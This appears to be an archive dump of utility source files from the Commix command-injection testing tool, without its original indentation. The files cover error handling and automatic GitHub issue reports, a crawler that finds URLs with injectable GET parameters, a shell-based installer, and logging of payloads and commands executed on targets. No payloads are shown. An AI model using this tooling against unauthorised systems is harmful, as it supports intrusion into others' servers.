elif value is None:
if check_batch and menu.options.batch:
settings.print_data_to_stdout(settings.print_message(message + str(default)))
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Used the default behavior, running in batch mode."
settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
return default
else:
return is_empty()
except KeyboardInterrupt:
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
raise
"""
Extract regex result
"""
def extract_regex_result(regex, content):
result = None
if regex and content and "?P<result>" in regex:
match = re.search(regex, content)
if match:
result = match.group("result")
return result
"""
Returns True if the current process is run under admin privileges
"""
def running_as_admin():
is_admin = False
if settings.PLATFORM in ("posix", "mac"):
_ = os.geteuid()
if isinstance(_, (float, six.integer_types)) and _ == 0:
is_admin = True
elif settings.IS_WINDOWS:
import ctypes
_ = ctypes.windll.shell32.IsUserAnAdmin()
if isinstance(_, (float, six.integer_types)) and _ == 1:
is_admin = True
else:
err_msg = settings.APPLICATION + " is not able to check if you are running it "
err_msg += "as an administrator account on this platform. "
settings.print_data_to_stdout(settings.print_error_msg(err_msg))
is_admin = True
return is_admin
"""
Get total number of days from last update
"""
def days_from_last_update():
days_from_last_update = int(time.time() - os.path.getmtime(settings.SETTINGS_PATH)) // (3600 * 24)
if days_from_last_update > settings.NAGGING_DAYS:
warn_msg = "You haven't updated " + settings.APPLICATION + " for more than "
warn_msg += str(days_from_last_update) + " day"
warn_msg += "s"[days_from_last_update == 1:] + "!"
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
"""
Shows all HTTP error codes raised
"""
def show_http_error_codes():
if settings.HTTP_ERROR_CODES_SUM and settings.VERBOSITY_LEVEL != 0:
if any((str(_).startswith('4') or str(_).startswith('5')) and _ != settings.INTERNAL_SERVER_ERROR for _ in settings.HTTP_ERROR_CODES_SUM):
debug_msg = "Too many 4xx and/or 5xx HTTP error codes "
debug_msg += "could mean that some kind of protection is involved."
settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg))
"""
Automatically create a Github issue with unhandled exception information.
PS: Greetz @ sqlmap dev team for that great idea! :)
"""
def create_github_issue(err_msg, exc_msg):
_ = re.sub(r"'[^']+'", "''", exc_msg)
_ = re.sub(r"\s+line \d+", "", _)
_ = re.sub(r'File ".+?/(\w+\.py)', r"\g<1>", _)
_ = re.sub(r".+\Z", "", _)
_ = re.sub(r"(Unicode[^:]*Error:).+", r"\g<1>", _)
_ = re.sub(r"= _", "= ", _)
_ = _.encode(settings.DEFAULT_CODEC)
key = hashlib.md5(_).hexdigest()[:8]
bug_report = "Bug Report: Unhandled exception \"" + str([i for i in exc_msg.split('\n') if i][-1]) + "\" " + "(#" + key + ")"
while True:
try:
message = "Do you want to automatically create a new (anonymized) issue "
message += "with the unhandled exception information at "
message += "the official Github repository? [y/N] "
choise = read_input(message, default="N", check_batch=True)
if choise in settings.CHOICE_YES:
break
elif choise in settings.CHOICE_NO:
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
return
else:
invalid_option(choise)
pass
except:
settings.print_data_to_stdout("")
raise SystemExit()
err_msg = err_msg[err_msg.find("\n"):]
request = _urllib.request.Request(url="https://api.github.com/search/issues?q=" + \
_urllib.parse.quote("repo:commixproject/commix" + settings.SINGLE_WHITESPACE + str(bug_report))
)
try:
content = _urllib.request.urlopen(request, timeout=settings.TIMEOUT).read()
_ = json.loads(content)
duplicate = _["total_count"] > 0
closed = duplicate and _["items"][0]["state"] == "closed"
if duplicate:
warn_msg = "That issue seems to be already reported"
if closed:
warn_msg += " and resolved. Please update to the latest "
warn_msg += "(dev) version from official GitHub repository at '" + settings.GIT_URL + "'"
warn_msg += ".\n"
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
return
except:
pass
data = {"title": str(bug_report), "body": "```" + str(err_msg) + "\n```\n```\n" + str(exc_msg) + "```"}
request = _urllib.request.Request(url = "https://api.github.com/repos/commixproject/commix/issues",
data = json.dumps(data).encode(),
headers = {settings.AUTHORIZATION: "token " + base64.b64decode(settings.GITHUB_REPORT_OAUTH_TOKEN.encode(settings.DEFAULT_CODEC)).decode()}
)
try:
content = _urllib.request.urlopen(request, timeout=settings.TIMEOUT).read()
except Exception as err:
content = None
issue_url = re.search(r"https://github.com/commixproject/commix/issues/\d+", content.decode(settings.DEFAULT_CODEC) or "")
if issue_url:
info_msg = "The created Github issue can been found at the address '" + str(issue_url.group(0)) + "'.\n"
settings.print_data_to_stdout(settings.print_info_msg(info_msg))
else:
warn_msg = "Something went wrong while creating a Github issue."
if settings.UNAUTHORIZED_ERROR in str(err):
warn_msg += " Please update to the latest revision.\n"
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
"""
Masks sensitive data in the supplied message.
"""
def mask_sensitive_data(err_msg):
for item in settings.SENSITIVE_OPTIONS:
match = re.search(r"(?i)commix.+(" + str(item) + r")(\s+|=)([^-]+)", err_msg)
if match:
err_msg = err_msg.replace(match.group(3), '*' * len(match.group(3)) + settings.SINGLE_WHITESPACE)
return err_msg
"""
Returns detailed message about occurred unhandled exception.
"""
def unhandled_exception():
exc_msg = str(traceback.format_exc())
if "bad marshal data" in exc_msg:
match = re.search(r"\s*(.+)\s+ValueError", exc_msg)
err_msg = "Identified corrupted .pyc file(s)."
err_msg += "Please delete .pyc files on your system to fix the problem."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
elif "must be pinned buffer, not bytearray" in exc_msg:
err_msg = "Error occurred at Python interpreter which "
err_msg += "is fixed in 2.7.x. Please update accordingly. "
err_msg += "(Reference: https://bugs.python.org/issue8104)"
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
elif any(_ in exc_msg for _ in ("MemoryError", "Cannot allocate memory")):
err_msg = "Memory exhaustion detected."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
elif "Permission denied: '" in exc_msg:
match = re.search(r"Permission denied: '([^']*)", exc_msg)
err_msg = "Permission error occurred while accessing file '" + match.group(1) + "'."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
elif all(_ in exc_msg for _ in ("Access is denied", "subprocess", "metasploit")):
err_msg = "Permission error occurred while running Metasploit."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
elif all(_ in exc_msg for _ in ("Permission denied", "metasploit")):
err_msg = "Permission error occurred while using Metasploit."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
elif "Invalid argument" in exc_msg:
err_msg = "Corrupted installation detected. "
err_msg += "You should retrieve the latest (dev) version from official GitHub "
err_msg += "repository at '" + settings.GIT_URL + "'."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
elif all(_ in exc_msg for _ in ("No such file", "_'")):
err_msg = "Corrupted installation detected ('" + exc_msg.strip().split('\n')[-1] + "'). "
err_msg += "You should retrieve the latest (dev) version from official GitHub "
err_msg += "repository at '" + settings.GIT_URL + "'."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
elif "Invalid IPv6 URL" in exc_msg:
err_msg = "invalid URL ('" + exc_msg.strip().split('\n')[-1] + "')"
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
elif any(_ in exc_msg for _ in ("Broken pipe",)):
raise SystemExit()
elif any(_ in exc_msg for _ in ("The paging file is too small",)):
err_msg = "No space left for paging file."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
elif all(_ in exc_msg for _ in ("SyntaxError: Non-ASCII character", ".py on line", "but no encoding declared")) or \
any(_ in exc_msg for _ in ("source code string cannot contain null bytes", "No module named")) or \
any(_ in exc_msg for _ in ("ImportError", "ModuleNotFoundError", "<frozen", "Can't find file for module")):
err_msg = "Invalid runtime environment ('" + exc_msg.split("Error: ")[-1].strip() + "')."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
elif any(_ in exc_msg for _ in ("No space left", "Disk quota exceeded", "Disk full while accessing")):
err_msg = "No space left on output device."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
elif "Read-only file system" in exc_msg:
err_msg = "Output device is mounted as read-only."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
elif "OperationalError: disk I/O error" in exc_msg:
err_msg = "I/O error on output device."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
elif "Violation of BIDI" in exc_msg:
err_msg = "Invalid URL (violation of Bidi IDNA rule - RFC 5893)."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
else:
err_msg = "Unhandled exception occurred in '" + settings.VERSION[1:] + "'. It is recommended to retry your "
err_msg += "run with the latest (dev) version from official GitHub "
err_msg += "repository at '" + settings.GIT_URL + "'. If the exception persists, please open a new issue "
err_msg += "at '" + settings.ISSUES_PAGE + "' "
err_msg += "with the following text and any other information required to "
err_msg += "reproduce the bug. The "
err_msg += "developers will try to reproduce the bug, fix it accordingly "
err_msg += "and get back to you.\n"
err_msg += "Commix version: " + settings.VERSION[1:] + "\n"
err_msg += "Python version: " + settings.PYTHON_VERSION + "\n"
err_msg += "Operating system: " + os.name + "\n"
err_msg += "Command line: " + re.sub(r".+?\bcommix\.py\b", "commix.py", " ".join(sys.argv)) + "\n"
err_msg = mask_sensitive_data(err_msg)
exc_msg = re.sub(r'".+?[/\\](\w+\.py)', r"\"\g<1>", exc_msg)
settings.print_data_to_stdout(settings.print_critical_msg(err_msg + "\n" + exc_msg.rstrip()))
create_github_issue(err_msg, exc_msg[:])
# eof commix-4.0/src/utils/crawler.py 0000664 0000000 0000000 00000027306 14731205621 0016622 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import re
import sys
import socket
import tempfile
from src.utils import menu
from src.utils import settings
from src.utils import common
from src.core.injections.controller import checks
from src.core.requests import headers
from src.core.requests import requests
from src.core.requests import proxy
from src.core.requests import redirection
from src.thirdparty.six.moves import http_client as _http_client
from src.thirdparty.six.moves import input as _input
from src.thirdparty.six.moves import urllib as _urllib
from src.thirdparty.colorama import Fore, Back, Style, init
from src.thirdparty.beautifulsoup.beautifulsoup import BeautifulSoup
def init_global_vars():
global crawled_hrefs
crawled_hrefs = []
global sitemap_loc
sitemap_loc = []
global visited_hrefs
visited_hrefs = []
global new_crawled_hrefs
new_crawled_hrefs = []
"""
Change the crawling depth level.
"""
def set_crawling_depth():
while True:
message = "Do you want to change the crawling depth level (" + str(menu.options.crawldepth) + ")? [y/N] > "
message = common.read_input(message, default="N", check_batch=True)
if message in settings.CHOICE_YES or message in settings.CHOICE_NO:
break
elif message in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(message)
pass
# Change the crawling depth level.
if message in settings.CHOICE_YES:
while True:
message = "Please enter the crawling depth level: > "
message = common.read_input(message, default="1", check_batch=True)
menu.options.crawldepth = message
return
"""
Normalize crawling results.
"""
def normalize_results(output_href):
results = []
while True:
message = "Do you want to normalize crawling results? [Y/n] > "
message = common.read_input(message, default="Y", check_batch=True)
if message in settings.CHOICE_YES:
seen = set()
for target in output_href:
try:
value = "%s%s%s" % (target, '&' if '?' in target else '?', target or "")
match = re.search(r"/[^/?]*\?.+\Z", value)
if match:
key = re.sub(r"=[^=&]*", "=", match.group(0)).strip("&?")
if '=' in key and key not in seen:
results.append(target)
seen.add(key)
except TypeError:
pass
no_usable_links(results)
return results
elif message in settings.CHOICE_NO:
no_usable_links(output_href)
return output_href
elif message in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(message)
pass
"""
Store crawling results to a temporary file.
"""
def store_crawling(output_href):
try:
while True:
message = "Do you want to store crawling results to a temporary file "
message += "(for eventual further processing with other tools)? [y/N] > "
message = common.read_input(message, default="N", check_batch=True)
if message in settings.CHOICE_YES:
filename = tempfile.mkstemp(suffix=settings.OUTPUT_FILE_EXT)[1]
info_msg = "Writing crawling results to a temporary file '" + str(filename) + "'."
settings.print_data_to_stdout(settings.print_info_msg(info_msg))
with open(filename, "a") as crawling_results:
for url in output_href:
crawling_results.write(url.encode(settings.DEFAULT_CODEC).decode() + "\n")
return
elif message in settings.CHOICE_NO:
return
elif message in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(message)
pass
except:
pass
"""
Check for URLs in sitemap.xml.
"""
def sitemap(url, http_request_method):
try:
if not url.endswith(".xml"):
if not url.endswith("/"):
url = url + "/"
url = _urllib.parse.urljoin(url, settings.SITEMAP_XML_FILE)
response = request(url, http_request_method)
content = checks.page_encoding(response, action="decode")
for match in re.finditer(r"<loc>\s*([^<]+)", content or ""):
url = match.group(1).strip()
if url not in sitemap_loc:
sitemap_loc.append(url)
if url.endswith(".xml") and "sitemap" in url.lower():
while True:
warn_msg = "A sitemap recursion detected (" + url + ")."
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
message = "Do you want to follow? [Y/n] > "
message = common.read_input(message, default="Y", check_batch=True)
if message in settings.CHOICE_YES:
sitemap(url, http_request_method)
break
elif message in settings.CHOICE_NO:
break
elif message in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(message)
pass
no_usable_links(sitemap_loc)
return sitemap_loc
except:
if not menu.options.crawldepth:
raise SystemExit()
pass
"""
Store the identified (valid) hrefs.
"""
def store_hrefs(href, identified_hrefs, redirection):
set(crawled_hrefs)
set(new_crawled_hrefs)
if href not in crawled_hrefs:
if (settings.DEFAULT_CRAWLING_DEPTH != 1 and href not in new_crawled_hrefs) or redirection:
new_crawled_hrefs.append(href)
identified_hrefs = True
crawled_hrefs.append(href)
return identified_hrefs
"""
Do a request to target URL.
"""
def request(url, http_request_method):
return requests.crawler_request(url, http_request_method)
"""
Enable crawler.
"""
def enable_crawler():
message = ""
if not settings.CRAWLING:
while True:
message = "Do you want to enable crawler? [y/N] > "
message = common.read_input(message, default="N", check_batch=True)
if message in settings.CHOICE_YES:
menu.options.crawldepth = 1
break
if message in settings.CHOICE_NO:
break
elif message in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(message)
pass
set_crawling_depth()
"""
Check for the existence of site's sitemap
"""
def check_sitemap():
while True:
message = "Do you want to check target"+ ('', 's')[settings.MULTI_TARGETS] + " for "
message += "the existence of site's sitemap(.xml)? [y/N] > "
message = common.read_input(message, default="N", check_batch=True)
if message in settings.CHOICE_YES:
settings.SITEMAP_CHECK = True
return
elif message in settings.CHOICE_NO:
settings.SITEMAP_CHECK = False
return
elif message in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(message)
pass
"""
Check if no usable links found.
"""
def no_usable_links(crawled_hrefs):
if len(crawled_hrefs) == 0:
warn_msg = "No usable links found (with GET parameters)."
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
if not settings.MULTI_TARGETS:
raise SystemExit()
"""
The crawing process.
"""
def do_process(url, http_request_method):
identified_hrefs = False
if settings.CRAWLED_SKIPPED_URLS_NUM == 0 or settings.CRAWLED_URLS_NUM != 0:
settings.print_data_to_stdout(settings.END_LINE.CR)
# Grab the crawled hrefs.
try:
response = request(url, http_request_method)
content = checks.page_encoding(response, action="decode")
match = re.search(r"(?si)<html[^>]*>(.+)</html>", content)
if match:
content = "<html>%s</html>" % match.group(1)
soup = BeautifulSoup(content)
tags = soup('a')
if not tags:
tags = []
tags += re.finditer(r'(?i)\s(href|src)=["\'](?P<href>[^>"\']+)', content)
tags += re.finditer(r'(?i)window\.open\(["\'](?P<href>[^)"\']+)["\']', content)
for tag in tags:
href = tag.get("href") if hasattr(tag, settings.HTTPMETHOD.GET) else tag.group("href")
if href:
href = _urllib.parse.urljoin(url, _urllib.parse.unquote(href))
if _urllib.parse.urlparse(url).netloc in href:
if (common.extract_regex_result(r"\A[^?]+\.(?P<result>\w+)(\?|\Z)", href) or "") not in settings.CRAWL_EXCLUDE_EXTENSIONS:
if not re.search(r"\?(v=)?\d+\Z", href) and not re.search(r"(?i)\.(js|css)(\?|\Z)", href):
if menu.options.crawl_exclude and re.search(menu.options.crawl_exclude, href or ""):
if href not in visited_hrefs:
visited_hrefs.append(href)
if settings.VERBOSITY_LEVEL != 0:
debug_msg = "Skipping URL " + href + "."
settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
else:
identified_hrefs = store_hrefs(href, identified_hrefs, redirection=False)
no_usable_links(crawled_hrefs)
if identified_hrefs:
if len(new_crawled_hrefs) != 0 and settings.DEFAULT_CRAWLING_DEPTH != 1:
return list(set(new_crawled_hrefs))
return list(set(crawled_hrefs))
return list("")
except Exception as e: # for non-HTML files and non-valid links
pass
"""
The main crawler.
"""
def crawler(url, url_num, crawling_list, http_request_method):
init_global_vars()
if crawling_list > 1:
_ = " (" + str(url_num) + "/" + str(crawling_list) + ")"
else:
_ = ""
response = request(url, http_request_method)
if type(response) is not bool and response is not None:
if settings.SITEMAP_CHECK:
enable_crawler()
if settings.SITEMAP_CHECK is None:
check_sitemap()
if settings.SITEMAP_CHECK:
output_href = sitemap(url, http_request_method)
if not settings.SITEMAP_CHECK or (settings.SITEMAP_CHECK and output_href is None):
info_msg = "Starting crawler for target URL '" + url + "'" + _ + "."
settings.print_data_to_stdout(settings.print_info_msg(info_msg))
output_href = do_process(url, http_request_method)
if settings.MULTI_TARGETS and settings.DEFAULT_CRAWLING_DEPTH != 1:
settings.DEFAULT_CRAWLING_DEPTH = 1
while settings.DEFAULT_CRAWLING_DEPTH <= int(menu.options.crawldepth):
info_msg = "Searching for usable "
info_msg += "links with depth " + str(settings.DEFAULT_CRAWLING_DEPTH) + "."
settings.print_data_to_stdout(settings.print_info_msg(info_msg))
if settings.DEFAULT_CRAWLING_DEPTH == 2:
output_href = new_crawled_hrefs
elif settings.DEFAULT_CRAWLING_DEPTH > 2:
output_href = new_crawled_hrefs + crawled_hrefs
try:
[output_href.remove(x) for x in visited_hrefs if x in output_href]
except TypeError:
pass
link = 0
if output_href is not None:
for url in output_href:
if url not in visited_hrefs and url is not None:
link += 1
settings.CRAWLED_URLS_NUM = link
if settings.SINGLE_WHITESPACE in url:
url = url.replace(settings.SINGLE_WHITESPACE, _urllib.parse.quote_plus(settings.SINGLE_WHITESPACE))
visited_hrefs.append(url)
do_process(url, http_request_method)
info_msg = str(link)
info_msg += "/" + str(len(output_href)) + " links visited."
settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(info_msg))
if link != 0:
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
settings.DEFAULT_CRAWLING_DEPTH += 1
output_href = crawled_hrefs
no_usable_links(output_href)
return output_href
# eof commix-4.0/src/utils/install.py 0000664 0000000 0000000 00000014232 14731205621 0016623 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import os
import sys
import platform
import subprocess
from src.utils import menu
from src.utils import common
from src.utils import settings
from src.utils import requirments
from src.thirdparty.six.moves import input as _input
from src.thirdparty.colorama import Fore, Back, Style, init
"""
Make a local installation of 'commix' on your system.
"""
"""
The un-installer.
"""
def uninstaller():
info_msg = "Starting the uninstaller. "
settings.print_data_to_stdout(settings.print_info_msg(info_msg))
try:
subprocess.Popen("rm -rf /usr/bin/" + settings.APPLICATION + " >/dev/null 2>&1", shell=True).wait()
subprocess.Popen("rm -rf /usr/share/" + settings.APPLICATION + " >/dev/null 2>&1", shell=True).wait()
except:
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
raise SystemExit()
settings.print_data_to_stdout(settings.SUCCESS_STATUS)
info_msg = "The un-installation of commix has finished!"
settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg))
"""
The installer.
"""
def installer():
packages = "build-essential python-dev"
dependencies = "git python-pip"
info_msg = "Starting the installer. "
settings.print_data_to_stdout(settings.print_info_msg(info_msg))
# Check if OS is Linux.
if settings.PLATFORM == "posix":
# You need to have administrative privileges to run this script.
if not common.running_as_admin():
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
err_msg = "You need to have administrative privileges to run this option."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
# Check if commix is already installed.
if os.path.isdir("/usr/share/" + settings.APPLICATION + ""):
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
warn_msg = "It seems that " + settings.APPLICATION
warn_msg += " is already installed in your system."
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
while True:
message = "Do you want to remove commix? [Y/n] > "
uninstall = common.read_input(message, default="Y", check_batch=True)
if uninstall in settings.CHOICE_YES:
uninstaller()
raise SystemExit()
elif uninstall in settings.CHOICE_NO or \
uninstall in settings.CHOICE_QUIT:
raise SystemExit()
else:
common.invalid_option(uninstall)
pass
# Check for git.
if not os.path.isfile("/usr/bin/git") or not os.path.isfile("/usr/bin/pip"):
# Install requirement.
if os.path.isfile("/etc/apt/sources.list"):
settings.print_data_to_stdout(settings.SUCCESS_STATUS)
# Check for dependencies.
dependencies_items = dependencies.split()
for item in dependencies_items:
requirments.do_check(item)
else:
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
err_msg = "The installer is not designed for any "
err_msg += "other Linux distro than Ubuntu / Debian. "
err_msg += "Please install manually: " + dependencies
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
raise SystemExit()
# Force install of necessary packages
subprocess.Popen("apt-get --force-yes -y install " + packages + ">/dev/null 2>&1", shell=True).wait()
settings.print_data_to_stdout(settings.SUCCESS_STATUS)
info_msg = "Installing " + settings.APPLICATION
info_msg += " into the /usr/share/" + settings.APPLICATION + ". "
settings.print_data_to_stdout(settings.print_info_msg(info_msg))
try:
current_dir = os.getcwd()
subprocess.Popen("cp -r " + current_dir + " /usr/share/" + settings.APPLICATION + " >/dev/null 2>&1", shell=True).wait()
subprocess.Popen("chmod 775 /usr/share/" + settings.APPLICATION + "/" + settings.APPLICATION + ".py >/dev/null 2>&1", shell=True).wait()
except:
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
raise SystemExit()
settings.print_data_to_stdout(settings.SUCCESS_STATUS)
info_msg = "Installing " + settings.APPLICATION
info_msg += " to /usr/bin/" + settings.APPLICATION + ". "
settings.print_data_to_stdout(settings.print_info_msg(info_msg))
try:
with open("/usr/bin/" + settings.APPLICATION, 'w') as f:
f.write('#!/bin/bash\n')
f.write('cd /usr/share/commix/ && ./commix.py "$@"\n')
subprocess.Popen("chmod +x /usr/bin/" + settings.APPLICATION + " >/dev/null 2>&1", shell=True).wait()
except:
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
raise SystemExit()
settings.print_data_to_stdout(settings.SUCCESS_STATUS)
#Create the Output Directory
try:
os.stat(settings.OUTPUT_DIR)
except:
try:
os.mkdir(settings.OUTPUT_DIR)
except OSError as err_msg:
try:
error_msg = str(err_msg).split("] ")[1] + "."
except IndexError:
error_msg = str(err_msg) + "."
settings.print_data_to_stdout(settings.print_critical_msg(error_msg))
raise SystemExit()
info_msg = "The installation is finished! Type '"
info_msg += settings.APPLICATION + "' to launch it."
settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg))
else :
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
err_msg = "The installer is not designed for any other system other than Linux. "
err_msg += "Please install manually: " + packages + dependencies
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
settings.print_data_to_stdout(settings.SINGLE_WHITESPACE)
raise SystemExit()
# eof commix-4.0/src/utils/logs.py 0000775 0000000 0000000 00000016552 14731205621 0016133 0 ustar 00root root 0000000 0000000 #!/usr/bin/env python
# encoding: UTF-8
"""
This file is part of Commix Project (https://commixproject.com).
Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst).
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
For more see the file 'readme/COPYING' for copying permission.
"""
import os
import re
import sys
import time
import tempfile
import sqlite3
from datetime import date
from datetime import datetime
from src.utils import menu
from src.utils import settings
from src.utils import session_handler
from src.core.injections.controller import checks
from src.thirdparty.six.moves import urllib as _urllib
from src.thirdparty.colorama import Fore, Back, Style, init
"""
1. Generate injection logs (logs.txt) in "./ouput" file.
2. Check for logs updates and apply if any!
"""
"""
Directory creation
"""
def path_creation(path):
if not os.path.exists(path):
try:
os.mkdir(path)
except OSError as err_msg:
try:
error_msg = str(err_msg).split("] ")[1] + "."
except IndexError:
error_msg = str(err_msg) + "."
settings.print_data_to_stdout(settings.print_critical_msg(error_msg))
raise SystemExit()
"""
Logs filename creation.
"""
def logs_filename_creation(url):
if menu.options.output_dir:
menu.options.output_dir = os.path.abspath(menu.options.output_dir)
if os.path.isdir(menu.options.output_dir):
output_dir = menu.options.output_dir
warn_msg = "Using '" + output_dir + "' for output directory."
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
else:
output_dir = tempfile.mkdtemp(prefix=settings.APPLICATION)
warn_msg = "Unable to create output directory '" + menu.options.output_dir + "'. "
warn_msg += "Using temporary directory '" + output_dir + "' instead."
settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
else:
output_dir = settings.OUTPUT_DIR
path_creation(os.path.dirname(settings.OUTPUT_DIR))
if not output_dir.endswith("/"):
output_dir = output_dir + "/"
# The logs filename construction.
filename = create_log_file(url, output_dir)
return filename
"""
Create log files
"""
def create_log_file(url, output_dir):
host = _urllib.parse.urlparse(url).netloc.replace(":","_") + "/"
logs_path = output_dir + host
path_creation(logs_path)
# Create cli history file if does not exist.
settings.CLI_HISTORY = logs_path + "cli_history"
if not os.path.exists(settings.CLI_HISTORY):
open(settings.CLI_HISTORY,'a').close()
if menu.options.session_file is not None:
if os.path.exists(menu.options.session_file):
settings.SESSION_FILE = menu.options.session_file
else:
err_msg = "The provided session file ('" + menu.options.session_file + "') does not exist."
settings.print_data_to_stdout(settings.print_critical_msg(err_msg))
raise SystemExit()
else:
settings.SESSION_FILE = logs_path + "session.db"
# Load command history
if settings.LOAD_SESSION == True and os.path.exists(settings.CLI_HISTORY):
checks.load_cmd_history()
# The logs filename construction.
filename = logs_path + settings.OUTPUT_FILE
try:
with open(filename, 'a') as output_file:
if not menu.options.no_logging:
output_file.write("\n" + "=" * 37)
output_file.write("\n" + "| Started in " + \
str(date.today()) + \
" at " + datetime.now().strftime("%H:%M:%S") + " |")
output_file.write("\n" + "=" * 37)
output_file.write("\n" + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Tested URL : " + url)
except IOError as err_msg:
try:
error_msg = str(err_msg.args[0]).split("] ")[1] + "."
except:
error_msg = str(err_msg.args[0]) + "."
settings.print_data_to_stdout(settings.print_critical_msg(error_msg))
raise SystemExit()
if not menu.options.output_dir:
filename = os.path.abspath(filename)
return filename
"""
Add the injection type / technique in log files.
"""
def add_type_and_technique(export_injection_info, filename, injection_type, technique):
if export_injection_info == False:
settings.SHOW_LOGS_MSG = True
with open(filename, 'a') as output_file:
if not menu.options.no_logging:
output_file.write("\n" + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Type: " + injection_type.title())
output_file.write("\n" + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Technique: " + technique.title())
export_injection_info = True
return export_injection_info
"""
Add the vulnerable parameter in log files.
"""
def add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload):
with open(filename, 'a') as output_file:
if not menu.options.no_logging:
if header_name[1:] == settings.COOKIE.lower():
header_name = " ("+ header_name[1:] + ") " + vuln_parameter
if header_name[1:] == "":
header_name = " ("+ http_request_method + ") " + vuln_parameter
output_file.write("\n" + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + the_type[1:].title() + ": " + header_name[1:])
vp_flag = False
output_file.write("\n")
"""
Add any payload in log files.
"""
def update_payload(filename, counter, payload):
with open(filename, 'a') as output_file:
if not menu.options.no_logging:
if "\n" in payload:
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Used payload: " + re.sub("%20", settings.SINGLE_WHITESPACE, _urllib.parse.unquote_plus(payload.replace("\n", "\\n"))) + "\n")
else:
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Used payload: " + payload.replace("%20", settings.SINGLE_WHITESPACE) + "\n")
"""
Add any executed command and
execution output result in log files.
"""
def executed_command(filename, cmd, output):
try:
with open(filename, 'a') as output_file:
if not menu.options.no_logging:
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Executed command: " + cmd + "\n")
output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_SIGN) + "Execution output: " + output.encode(settings.DEFAULT_CODEC).decode() + "\n")
except TypeError:
pass
"""
Fetched data logged to text files.
"""
def logs_notification(filename):
# Save command history.
if not menu.options.no_logging:
info_msg = "Fetched data logged to text files under '" + filename + "'."
